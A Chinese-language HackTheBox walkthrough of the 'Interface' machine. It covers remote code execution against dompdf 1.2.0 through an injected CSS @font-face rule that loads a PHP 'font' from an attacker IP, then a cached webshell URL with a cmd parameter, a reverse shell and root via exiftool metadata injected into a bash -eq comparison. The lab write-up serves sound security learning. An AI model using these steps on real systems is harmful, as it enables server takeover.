HackTheBox - Medium - Linux - Interface

Interface

Interface 是一种中等难度的 Linux 机器,具有“DomPDF”API 端点,该端点通过将“CSS”注入处理后的数据而容易受到远程命令执行的影响。“DomPDF”可以被诱骗在其字体缓存中存储带有“PHP”文件扩展名的恶意字体,然后可以通过从其公开的目录访问它来执行它。权限提升涉及在 bash 脚本中滥用带引号的表达式注入。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

在响应头中,能看到它的域名

file

ffuf

file

/api端点

file

这里html转成了pdf

file

Foothold

在pdf中纰漏了dompdf 1.2.0

file

在谷歌中能够找到该版本存在问题,并且github上还有exp

https://github.com/positive-security/dompdf-rce

从exp的exploit.css也就不难看出大概是怎么回事了

@font-face {
   
    font-family:'exploitfont';
    src:url('http://10.10.14.18:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

file

改一下exploit_font.php

file

打exp,目标将会缓存我们的字体文件

file

获取字符串md5,用于缓存文件名的组成

file

9001还是用python3开http server才能正常

file

访问文件

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_b82f3437a14b588f9bc8cdb2cd1baaf2.php?cmd=id

file

常规python3 reverse shell

file

本地权限提升

传个pspy过去发现有shell脚本在跑

file

#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

使用exiftool读取Producer信息,然后判断它是否等于dompdf

这篇文章告诉我们这个shell代码可能会导致插入恶意shell命令并且被执行

if [[ "$meta_producer" -eq "dompdf" ]];

首先写一个shellcode或者其他的命令文件

file

通过exiftool插入payload,然后将文件移动到/tmp

file

等待计划任务执行,我们将能得到它

file

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2023-12-31 11:44:04       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-31 11:44:04       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-31 11:44:04       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-31 11:44:04       18 阅读

热门阅读

  1. 单链表前插

    2023-12-31 11:44:04       38 阅读
  2. Python知识点:面向对象第二部分

    2023-12-31 11:44:04       28 阅读
  3. scala--面向对象(2)

    2023-12-31 11:44:04       32 阅读
  4. Redis分布式锁

    2023-12-31 11:44:04       34 阅读
  5. CPU 飙高系统反应慢怎么排查

    2023-12-31 11:44:04       32 阅读
  6. Debezium发布历史36

    2023-12-31 11:44:04       27 阅读
  7. 四十八----react实战

    2023-12-31 11:44:04       39 阅读
  8. 四、Spring IoC实践和应用(三种配置方式总结)

    2023-12-31 11:44:04       32 阅读
  9. XXL-JOB学习笔记-基于代码实现新建、修改任务

    2023-12-31 11:44:04       32 阅读
  10. 12、defer

    2023-12-31 11:44:04       33 阅读